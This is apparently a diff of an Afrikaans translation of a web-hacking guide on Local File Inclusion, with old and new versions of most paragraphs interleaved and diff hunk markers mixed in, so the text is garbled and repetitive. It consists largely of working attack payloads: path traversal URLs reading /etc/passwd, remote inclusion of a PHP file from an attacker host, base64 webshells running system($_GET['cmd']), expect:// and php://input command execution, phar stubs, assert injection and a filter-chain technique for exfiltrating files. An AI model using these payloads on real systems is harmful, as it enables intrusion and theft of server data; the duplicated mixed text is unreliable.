http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Interpret die Resultate:** Die bediener se antwoord dui aan of die gids bestaan:
- **Fout / Geen Uitset:** Die gids `private` bestaan waarskynlik nie op die gespesifiseerde ligging nie.
- **Inhoud van `/etc/passwd`:** Die teenwoordigheid van die `private` gids word bevestig.
4. **Recursiewe Verkenning:** Ontdekte gidse kan verder ondersoek word vir subgidse of lêers met dieselfde tegniek of tradisionele Local File Inclusion (LFI) metodes.
3. **Interpretasie van die Uitkomste:** Die bediener se reaksie dui aan of die gids bestaan:
- **Fout / Geen Uitvoer:** Die gids `private` bestaan waarskynlik nie op die gespesifiseerde ligging nie.
- **Inhoud van `/etc/passwd`:** Die teenwoordigheid van die gids `private` is bevestig.
4. **Rekursiewe Verkenning:** Gevonde gidse kan verder ondersoek word vir subgidse of lêers met dieselfde tegniek of tradisionele Local File Inclusion (LFI)-metodes.
Vir die verkenning van gidse op verskillende plekke in die lêerstelsel, pas die payload dienooreenkomstig aan. Byvoorbeeld, om te kyk of `/var/www/` 'n `private` gids bevat (aannemende dat die huidige gids op 'n diepte van 3 is), gebruik:
Om gidse op verskillende plekke in die lêerstelsel te verken, pas die payload dienooreenkomstig aan. Byvoorbeeld, om te kontroleer of `/var/www/` 'n `private` gids bevat (aannemende die huidige gids is op 'n diepte van 3), gebruik:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Pad Truncasie Tegniek**
### **Path Truncation Technique**
Pad truncasie is 'n metode wat gebruik word om lêerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om beperkte lêers te bekom deur sekere sekuriteitsmaatreëls te omseil wat bykomende karakters aan die einde van lêerpaaie voeg. Die doel is om 'n lêerpad te skep wat, sodra dit deur die sekuriteitsmaatreël verander is, steeds na die gewenste lêer wys.
Path truncation is 'n metode wat gebruik word om lêerpaadjies in webtoepassings te manipuleer. Dit word dikwels gebruik om toegang tot beperkte lêers te kry deur sekere sekuriteitsmaatreëls te omseil wat ekstra karakters aan die einde van lêerpaadjies byvoeg. Die doel is om 'n lêerpad te konstruer wat, sodra dit deur die sekuriteitsmaatreël gewysig is, steeds na die gewenste lêer wys.
In PHP kan verskeie voorstellings van 'n lêerpad as gelyk beskou word weens die aard van die lêerstelsel. Byvoorbeeld:
In PHP kan verskillende voorstellings van 'n lêerpad as ekwivalent beskou word weens die aard van die lêerstelsel. Byvoorbeeld:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, en `/etc/passwd/` word almal as dieselfde pad behandel.
- Wanneer die laaste 6 karakters `passwd` is, verander die toevoeging van 'n `/` (wat dit `passwd/` maak) nie die geteikende lêer nie.
- Op soortgelyke wyse, as `.php` aan 'n lêerpad bygevoeg word (soos `shellcode.php`), sal die toevoeging van `/.` aan die einde nie die lêer wat toegang verkry word, verander nie.
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, en `/etc/passwd/` word almal as dieselfde pad beskou.
- Wanneer die laaste 6 karakters `passwd` is, verander die aanheg van ` / ` (waardeur dit `passwd/` word) nie die geteikende lêer nie.
- Net so, as `.php` aan 'n lêerpad aangeheg word (soos `shellcode.php`), sal die byvoeging van `/.` aan die einde nie die lêer wat geraadpleeg word verander nie.
Die verskafde voorbeelde demonstreer hoe om pad truncasie te gebruik om toegang te verkry tot `/etc/passwd`, 'n algemene teiken weens sy sensitiewe inhoud (gebruikersrekeninginligting):
Die voorbeelde hieronder demonstreer hoe om path truncation te gebruik om toegang tot `/etc/passwd` te kry, 'n algemene teiken weens die sensitiewe inhoud daarvan (gebruikersrekeninginligting):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
In hierdie scenario's mag die aantal traversals wat nodig is ongeveer 2027 wees, maar hierdie getal kan wissel op grond van die bediener se konfigurasie.
In hierdie scenario's kan die aantal traversals wat benodig word ongeveer 2027 wees, maar hierdie getal kan wissel afhangende van die bediener se konfigurasie.
- **Gebruik van Punt Segmente en Addisionele Karakters**: Traversal sekwensies (`../`) gekombineer met ekstra punt segmente en karakters kan gebruik word om die lêerstelsel te navigeer, wat effektief bygevoegde strings deur die bediener ignoreer.
- **Bepaling van die Benodigde Aantal Traversals**: Deur middel van proef en fout kan 'n mens die presiese aantal `../` sekwensies vind wat nodig is om na die wortelgids te navigeer en dan na `/etc/passwd`, terwyl verseker word dat enige bygevoegde strings (soos `.php`) geneutraliseer word, maar die gewenste pad (`/etc/passwd`) intakt bly.
- **Begin met 'n Vals Gids**: Dit is 'n algemene praktyk om die pad met 'n nie-bestaande gids (soos `a/`) te begin. Hierdie tegniek word gebruik as 'n voorsorgmaatreël of om aan die vereistes van die bediener se pad parsingslogika te voldoen.
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) combined with extra dot segments and characters kan gebruik word om deur die lêerstelsel te navigeer en effektief aangehegte strings deur die bediener te ignoreer.
- **Determining the Required Number of Traversals**: Deur proef en fout kan iemand die presiese aantal `../` sequences vind wat nodig is om na die root directory en dan na `/etc/passwd` te navigeer, en sodoende enige aangehegte stringe (soos `.php`) te neutraliseer terwyl die gewenste pad (`/etc/passwd`) ongeskonde bly.
- **Starting with a Fake Directory**: Dit is algemeen om die pad te begin met 'n nie-bestaande gids (soos `a/`). Hierdie tegniek word as 'n voorsorgmaatreël gebruik of om aan die bediener se path parsing logic se vereistes te voldoen.
Wanneer pad truncasie tegnieke toegepas word, is dit van kardinale belang om die bediener se pad parsingsgedrag en lêerstelselstruktuur te verstaan. Elke scenario mag 'n ander benadering vereis, en toetsing is dikwels nodig om die mees effektiewe metode te vind.
Wanneer path truncation techniques toegepas word, is dit noodsaaklik om die bediener se path parsing behavior en filesystem structure te verstaan. Elke scenario kan 'n ander benadering vereis, en toetsing is dikwels nodig om die mees doeltreffende metode te vind.
**Hierdie kwesbaarheid is in PHP 5.3 reggestel.**
**Hierdie kwesbaarheid is reggestel in PHP 5.3.**
### **Filter omseil truuks**
### **Filter bypass tricks**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
In php is dit standaard gedeaktiveer omdat **`allow_url_include`** **Af** is. Dit moet **Aan** wees vir dit om te werk, en in daardie geval kan jy 'n PHP-lêer van jou bediener insluit en RCE verkry:
In php is dit standaard gedeaktiveer omdat **`allow_url_include`** op **Off** is. Dit moet op **On** wees om te werk, en in daardie geval kan jy 'n PHP-lêer vanaf jou bediener insluit en RCE kry:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
As dit om een of ander rede **`allow_url_include`** **Aan** is, maar PHP **filter** toegang tot eksterne webbladsye, [volgens hierdie pos](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), kan jy byvoorbeeld die dataprotocol met base64 gebruik om 'n b64 PHP-kode te dekodeer en RCE te verkry:
As om een of ander rede **`allow_url_include`** **On** is, maar PHP is **filtering** toegang tot eksterne webblaaie, [volgens hierdie pos](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), kan jy byvoorbeeld die data protocol met base64 gebruik om 'n b64 PHP-kode te decodeer en RCE te kry:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> In die vorige kode is die finale `+.txt` bygevoeg omdat die aanvaller 'n string nodig gehad het wat in `.txt` eindig, so die string eindig daarmee en na die b64-dekodeer sal daardie deel net rommel teruggee en die werklike PHP-kode sal ingesluit word (en dus, uitgevoer word).
> In die vorige kode is die finale `+.txt` bygevoeg omdat die aanvaller 'n string nodig gehad het wat op `.txt` geëindig het, dus eindig die string daarmee en na die b64 decode sal daardie deel net rommel teruggee en die werklike PHP code ingesluit word (en dus uitgevoer).
Nog 'n voorbeeld **wat nie die `php://` protokol gebruik nie** sou wees:
Another example **wat nie die `php://` protokol gebruik nie** sou wees:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python Root element
## Python wortelelement
In python in a code like this one:
In python, in 'n kode soos hierdie:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
As die gebruiker 'n **absolute pad** na **`file_name`** deurgee, word die **vorige pad net verwyder**:
As die gebruiker 'n **absolute path** aan **`file_name`** deurgee, word die **vorige pad net verwyder**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
Dit is die bedoelde gedrag volgens [die dokumentasie](https://docs.python.org/3.10/library/os.path.html#os.path.join):
Dit is die bedoelde gedrag volgens [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en gaan die aansluiting voort vanaf die absolute padkomponent.
> As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en gaan die saamvoeging voort vanaf die absolute pad-komponent.
## Java Lys Gidsen
## Java - lys van gidse
Dit lyk of jy 'n Pad Traversal in Java het en jy **vra vir 'n gids** in plaas van 'n lêer, 'n **lys van die gids word teruggestuur**. Dit sal nie in ander tale gebeur nie (sover ek weet).
Dit lyk asof as jy 'n Path Traversal in Java het en jy **vra vir 'n gids** in plaas van 'n lêer, 'n **lys van die gids teruggegee word**. Dit sal nie in ander tale gebeur nie (afaik).
## Top 25 parameters
Hier is 'n lys van die top 25 parameters wat kwesbaar kan wees vir plaaslike lêerinvoeging (LFI) kwesbaarhede (van [link](https://twitter.com/trbughunters/status/1279768631845494787)):
Hier is 'n lys van die top 25 parameters wat vatbaar kan wees vir local file inclusion (LFI) (van [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -215,34 +215,34 @@ Hier is 'n lys van die top 25 parameters wat kwesbaar kan wees vir plaaslike lê
### php://filter
PHP-filters laat basiese **wysigingsoperasies op die data** toe voordat dit gelees of geskryf word. Daar is 5 kategorieë filters:
PHP-filters laat basiese **wysigingsoperasies op die data** toe voordat dit gelees of geskryf word. Daar is 5 kategorieë van filters:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Verwyder tags van die data (alles tussen "<" en ">" karakters)
- Let daarop dat hierdie filter uit die moderne weergawes van PHP verdwyn het
- `string.strip_tags`: Verwyder tags uit die data (alles tussen die "<" en ">" karakters)
- Let daarop dat hierdie filter in moderne weergawes van PHP verdwyn het
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Transformeer na 'n ander kodering (`convert.iconv.<input_enc>.<output_enc>`). Om die **lys van alle ondersteunde kodering** te kry, voer in die konsole in: `iconv -l`
- `convert.iconv.*` : Transformeer na 'n ander enkodering (`convert.iconv.<input_enc>.<output_enc>`). Om die **lys van alle kodings** wat ondersteun word te kry, voer in die konsole: `iconv -l`
> [!WARNING]
> Deur die `convert.iconv.*` omskakelingsfilter te misbruik, kan jy **arbitraire teks genereer**, wat nuttig kan wees om arbitraire teks te skryf of 'n funksie soos insluitingsproses arbitraire teks te maak. Vir meer inligting, kyk na [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> Deur die `convert.iconv.*`-omsettingsfilter te misbruik kan jy **ewekansige teks genereer**, wat nuttig kan wees om ewekansige teks te skryf of om 'n funksie soos include te laat verwerk ewekansige teks. Vir meer inligting, sien [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Komprimeer die inhoud (nuttig as jy baie inligting uitbring)
- `zlib.inflate`: Decomprimeer die data
- `zlib.deflate`: Komprimeer die inhoud (nuttig as jy baie inligting wil eksfilleer)
- `zlib.inflate`: Dekompresseer die data
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Verouderd
- `mdecrypt.*` : Verouderd
- `mcrypt.*` : Deprecated
- `mdecrypt.*` : Deprecated
- Ander Filters
- Deur in php `var_dump(stream_get_filters());` te loop, kan jy 'n paar **onverwagte filters** vind:
- As jy in PHP `var_dump(stream_get_filters());` uitvoer, kan jy 'n paar **onverwagte filters** vind:
- `consumed`
- `dechunk`: keer HTTP chunked kodering om
- `dechunk`: keert HTTP chunked encoding om
- `convert.*`
```php
# String Filters
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> Die deel "php://filter" is nie-sensitief vir hoofletters nie
> Die gedeelte "php://filter" is nie hoofletter-sensitief nie
### Gebruik php filters as orakel om arbitrêre lêers te lees
### Using php filters as oracle to read arbitrary files
[**In hierdie pos**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) word 'n tegniek voorgestel om 'n plaaslike lêer te lees sonder om die uitvoer van die bediener terug te ontvang. Hierdie tegniek is gebaseer op 'n **booleaanse eksfiltrasie van die lêer (karakter vir karakter) met behulp van php filters** as orakel. Dit is omdat php filters gebruik kan word om 'n teks groot genoeg te maak sodat php 'n uitsondering kan gooi.
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) word 'n tegniek voorgestel om 'n plaaslike lêer te lees sonder dat die uitset deur die server teruggegee word. Hierdie tegniek is gebaseer op 'n **boolean exfiltration of the file (char by char) using php filters as oracle**. Dit is omdat php filters gebruik kan word om 'n teks groot genoeg te maak om php 'n exception te laat gooi.
In die oorspronklike pos kan jy 'n gedetailleerde verduideliking van die tegniek vind, maar hier is 'n vinnige opsomming:
In die oorspronklike post vind jy 'n gedetaileerde verduideliking van die tegniek, maar hier is 'n vinnige opsomming:
- Gebruik die kode **`UCS-4LE`** om die voorste karakter van die teks aan die begin te laat en die grootte van die string eksponensieel te laat toeneem.
- Dit sal gebruik word om 'n **teks so groot te genereer wanneer die aanvanklike letter korrek geraai word** dat php 'n **fout** sal veroorsaak.
- Die **dechunk** filter sal **alles verwyder as die eerste karakter nie 'n hexadesimale is nie**, sodat ons kan weet of die eerste karakter hex is.
- Dit, gekombineer met die vorige een (en ander filters afhangende van die geraaide letter), sal ons in staat stel om 'n letter aan die begin van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie 'n hexadesimale karakter te maak nie. Want as dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal 'n php-fout veroorsaak.
- Die kode **convert.iconv.UNICODE.CP930** transformeer elke letter in die volgende een (so na hierdie kode: a -> b). Dit stel ons in staat om te ontdek of die eerste letter 'n `a` is byvoorbeeld, want as ons 6 van hierdie kode toepas a->b->c->d->e->f->g is die letter nie meer 'n hexadesimale karakter nie, daarom het dechunk dit nie verwyder nie en die php-fout word veroorsaak omdat dit met die aanvanklike bom vermenigvuldig.
- Deur ander transformasies soos **rot13** aan die begin te gebruik, is dit moontlik om ander karakters soos n, o, p, q, r te lek (en ander kodes kan gebruik word om ander letters na die hex-reeks te beweeg).
- Wanneer die aanvanklike karakter 'n getal is, is dit nodig om dit in base64 te kodeer en die eerste 2 letters te lek om die getal te lek.
- Die finale probleem is om te sien **hoe om meer as die aanvanklike letter te lek**. Deur orde geheue filters soos **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** te gebruik, is dit moontlik om die volgorde van die karakters te verander en ander letters van die teks in die eerste posisie te kry.
- En om in staat te wees om **verdere data** te verkry, is die idee om **2 bytes van rommeldata aan die begin te genereer** met **convert.iconv.UTF16.UTF16**, toepas **UCS-4LE** om dit **te pivot met die volgende 2 bytes**, en **verwyder die data tot die rommeldata** (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort om dit te doen totdat jy die gewenste bit bereik om te lek.
- Use the codec **`UCS-4LE`** om die voorste karakter van die teks aan die begin te laat en om die stringgrootte eksponensieel te laat toeneem.
- Hierdie sal gebruik word om 'n **teks te genereer wat so groot is wanneer die aanvanklike letter korrek geraden word** dat php 'n **error** sal veroorsaak.
- Die **dechunk** filter sal **alles verwyder as die eerste char nie 'n hexadecimal is nie**, sodat ons kan weet of die eerste char hex is.
- Dit, gekombineer met die vorige (en ander filters afhangende van die geraade letter), sal ons toelaat om 'n letter aan die beginning van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie meer 'n hexadecimal karakter te maak nie. Want as dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal 'n php error veroorsaak.
- Die codec **convert.iconv.UNICODE.CP930** transformeer elke letter na die volgende (so na hierdie codec: a -> b). Dit laat ons toe om te ontdek of die eerste letter byvoorbeeld 'n `a` is, want as ons hierdie codec 6 keer toepas a->b->c->d->e->f->g, is die letter nie meer 'n hexadecimal karakter nie, daarom verwyder dechunk dit nie en word die php error getrigger omdat dit met die aanvanklike bom vermenigvuldig.
- Deur ander transformasies soos **rot13** aan die begin te gebruik is dit moontlik om ander chars te leak soos n, o, p, q, r (en ander codecs kan gebruik word om ander letters na die hex-reeks te skuif).
- Wanneer die aanvanklike char 'n nommer is, is dit nodig om dit base64 te encode en die eerste 2 letters te leak om die nommer te leak.
- Die finale probleem is om te sien **hoe om meer te leak as die aanvanklike letter**. Deur order memory filters soos **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** te gebruik is dit moontlik om die volgorde van die chars te verander en ander letters van die teks in die eerste posisie te kry.
- En om in staat te wees om **further data** te verkry is die idee om **2 bytes of junk data at the beginning** te genereer met **convert.iconv.UTF16.UTF16**, pas **UCS-4LE** toe om dit te laat **pivot met die volgende 2 bytes**, en **verwyder die data tot by die junk data** (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort om dit te doen totdat jy die gewenste bit bereik om te leak.
In die pos is 'n hulpmiddel om dit outomaties uit te voer ook gelekt: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
In die post is 'n tool om dit outomaties uit te voer ook leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
Hierdie wrapper laat toegang toe tot lêerdescriptors wat die proses oop het. Potensieel nuttig om die inhoud van oop lêers te eksfiltreer:
Hierdie wrapper laat toe om toegang tot file descriptors wat die proses oop het. Potensieel nuttig om die content van geopende files te exfiltrate:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
U kan ook **php://stdin, php://stdout en php://stderr** gebruik om toegang te verkry tot die **lêer beskrywings 0, 1 en 2** onderskeidelik (nie seker hoe dit nuttig kan wees in 'n aanval nie)
Jy kan ook **php://stdin, php://stdout and php://stderr** gebruik om toegang te kry tot die **file descriptors 0, 1 and 2** onderskeidelik (nie seker hoe dit in 'n aanval nuttig kan wees nie)
### zip:// en rar://
### zip:// and rar://
Laai 'n Zip of Rar-lêer op met 'n PHPShell binne en toegang dit.\
Om die rar-protokol te kan misbruik, **moet dit spesifiek geaktiveer word**.
Laai 'n Zip of Rar-lêer op met 'n PHPShell daarin en kry daartoe toegang.\
Om die rar-protokol te kan misbruik moet dit **spesifiek geaktiveer word**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -328,24 +328,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Let wel, hierdie protokol word beperk deur php konfigurasies **`allow_url_open`** en **`allow_url_include`**
Let daarop dat hierdie protokol beperk is deur php-konfigurasies **`allow_url_open`** en **`allow_url_include`**
### expect://
Expect moet geaktiveer wees. Jy kan kode uitvoer met hierdie:
Expect moet geaktiveer wees. Jy kan kode hiermee uitvoer:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
Gee jou payload in die POST parameters:
Spesifiseer jou payload in die POST parameters:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
'n `.phar`-lêer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos `include` vir lêerlaai benut. Die PHP-kode-snippet hieronder demonstreer die skepping van 'n `.phar`-lêer:
'n `.phar`-lêer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos `include` gebruik om lêers te laai. Die PHP-kodesnippie hieronder demonstreer die skepping van 'n `.phar`-lêer:
```php
<?php
$phar = new Phar('test.phar');
@ -354,94 +354,94 @@ $phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
Om die `.phar`-lêer te kompileer, moet die volgende opdrag uitgevoer word:
Om die `.phar` lêer te kompileer, moet die volgende opdrag uitgevoer word:
```bash
php --define phar.readonly=0 create_path.php
```
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
By uitvoering sal 'n lêer met die naam `test.phar` geskep word, wat moontlik misbruik kan word om Local File Inclusion (LFI)-kwesbaarhede te eksploiteer.
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol.
In gevalle waar die LFI slegs lêers lees sonder om die PHP-kode daarin uit te voer — byvoorbeeld via funksies soos `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, of `filesize()` — kan 'n poging aangewend word om 'n deserialisasie-kwesbaarheid te eksploiteer. Hierdie kwesbaarheid hou verband met die lees van lêers deur die gebruik van die `phar` protocol.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
Vir 'n gedetailleerde begrip van die eksploitasie van deserialisasie-kwesbaarhede in die konteks van `.phar`-lêers, verwys na die dokument hieronder:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
{{#ref}}
phar-deserialization.md
{{#endref}}
### CVE-2024-2961
Dit was moontlik om **enige arbitrêre lêer wat van PHP gelees word wat php-filters ondersteun** te misbruik om 'n RCE te verkry. Die gedetailleerde beskrywing kan [**gevind word in hierdie pos**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Baie vinnige opsomming: 'n **3 byte oorgang** in die PHP heap is misbruik om die **ketting van vrye stukke** van 'n spesifieke grootte te **verander** sodat dit moontlik was om **enigiets in enige adres te skryf**, so 'n haak is bygevoeg om **`system`** aan te roep.\
Dit was moontlik om stukke van spesifieke groottes toe te ken deur meer php-filters te misbruik.
Dit was moontlik om **any arbitrary file read from PHP that supports php filters** te misbruik om 'n RCE te verkry. Die gedetailleerde beskrywing kan [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Baie kort samevatting: 'n **3 byte overflow** in die PHP heap is misbruik om die **ketting van free chunks** van 'n spesifieke grootte te verander sodat dit moontlik was om **write anything in any address**, daarom is 'n hook bygevoeg om **`system`** aan te roep.\ Dit was moontlik om chunks van spesifieke groottes te alloc deur meer php filters te misbruik.
### More protocols
### Meer protokolle
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
Kyk by meer moontlike[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Skryf in geheue of in 'n tydelike lêer (nie seker hoe dit nuttig kan wees in 'n lêerinvoegaanval nie)
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Skryf in geheue of in 'n tydelike lêer (not sure how this can be useful in a file inclusion attack)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Toegang tot plaaslike lêerstelsel
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Toegang tot HTTP(s) URL's
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Toegang tot FTP(s) URL's
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompressiestrome
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Vind padname wat aan patroon voldoen (Dit gee niks drukbaar terug nie, so nie regtig nuttig hier nie)
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Vind padname wat by 'n patroon pas (Dit gee niks printbaars terug nie, so nie regtig nuttig hier nie)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Klankstrome (Nie nuttig om arbitrêre lêers te lees nie)
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio-strome (Not useful to read arbitrary files)
## LFI via PHP's 'assert'
Local File Inclusion (LFI) risiko's in PHP is merkbaar hoog wanneer dit kom by die 'assert' funksie, wat kode binne strings kan uitvoer. Dit is veral problematies as invoer wat katalogus deurreis karakters soos ".." bevat, nagegaan word maar nie behoorlik gesaniteer word nie.
Local File Inclusion (LFI)-risiko's in PHP is veral hoog wanneer daar met die 'assert' funksie gewerk word, wat kode binne stringe kan uitvoer. Dit is veral problematies as insette wat directory traversal-karaktere soos ".." bevat, getoets word maar nie behoorlik gesuiwer nie.
For example, PHP code might be designed to prevent directory traversal like so:
Byvoorbeeld, PHP-kode mag ontwerp wees om directory traversal te voorkom soos volg:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Terwyl dit daarop gemik is om traversie te stop, skep dit onbedoeld 'n vektor vir kode-inspuiting. Om dit te benut om lêerinhoud te lees, kan 'n aanvaller gebruik maak van:
Terwyl dit daarop gemik is om traversal te stop, skep dit onbedoeld 'n vektor vir code injection. Om dit te misbruik om lêerinhoud te lees, kan 'n attacker gebruik:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Net so, om arbitrêre stelselskommando's uit te voer, kan 'n mens gebruik maak van:
Net so, om arbitrêre stelselopdragte uit te voer, kan iemand gebruik:
```plaintext
' and die(system("id")) or '
```
Dit is belangrik om **URL-encode hierdie payloads**.
Dit is belangrik om **URL-encode these payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> Hierdie tegniek is relevant in gevalle waar jy **beheer** oor die **lêerpad** van 'n **PHP-funksie** het wat 'n **lêer** sal **toegang** maar jy sal nie die inhoud van die lêer sien nie (soos 'n eenvoudige oproep na **`file()`**) maar die inhoud word nie gewys nie.
> Hierdie tegniek is relevant in gevalle waar jy die **control** oor die **file path** van 'n **PHP function** het wat 'n **access a file** sal uitvoer, maar jy sal nie die inhoud van die lêer sien nie (soos 'n eenvoudige oproep na **`file()`**).
In [**hierdie ongelooflike pos**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) word verduidelik hoe 'n blinde pad traversering misbruik kan word via PHP-filter om die **inhoud van 'n lêer via 'n fout-orakel te exfiltreer**.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
In samevatting, die tegniek gebruik die **"UCS-4LE" kodering** om die inhoud van 'n lêer so **groot** te maak dat die **PHP-funksie wat die lêer oopmaak** 'n **fout** sal veroorsaak.
As opsomming gebruik die tegniek die **"UCS-4LE" encoding** om die inhoud van 'n lêer so groot te maak dat die **PHP function opening** die lêer 'n fout sal veroorsaak.
Dan, om die eerste karakter te lek, word die filter **`dechunk`** gebruik saam met ander soos **base64** of **rot13** en uiteindelik word die filters **convert.iconv.UCS-4.UCS-4LE** en **convert.iconv.UTF16.UTF-16BE** gebruik om **ander karakters aan die begin te plaas en hulle te lek**.
Dan, om die eerste char te leak, word die filter **`dechunk`** gebruik tesame met ander soos **base64** of **rot13**, en uiteindelik word die filters **convert.iconv.UCS-4.UCS-4LE** en **convert.iconv.UTF16.UTF-16BE** gebruik om ander chars aan die begin te plaas en hulle te leak.
**Funksies wat kwesbaar mag wees**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (slegs teiken lees net hiermee)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
**Funksies wat moontlik kwesbaar is**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Vir die tegniese besonderhede, kyk na die genoemde pos!
Vir die tegniese besonderhede, kyk die genoemde post!
## LFI2RCE
### Willekeurige Lêer Skryf via Pad Traversering (Webshell RCE)
### Arbitrary File Write via Path Traversal (Webshell RCE)
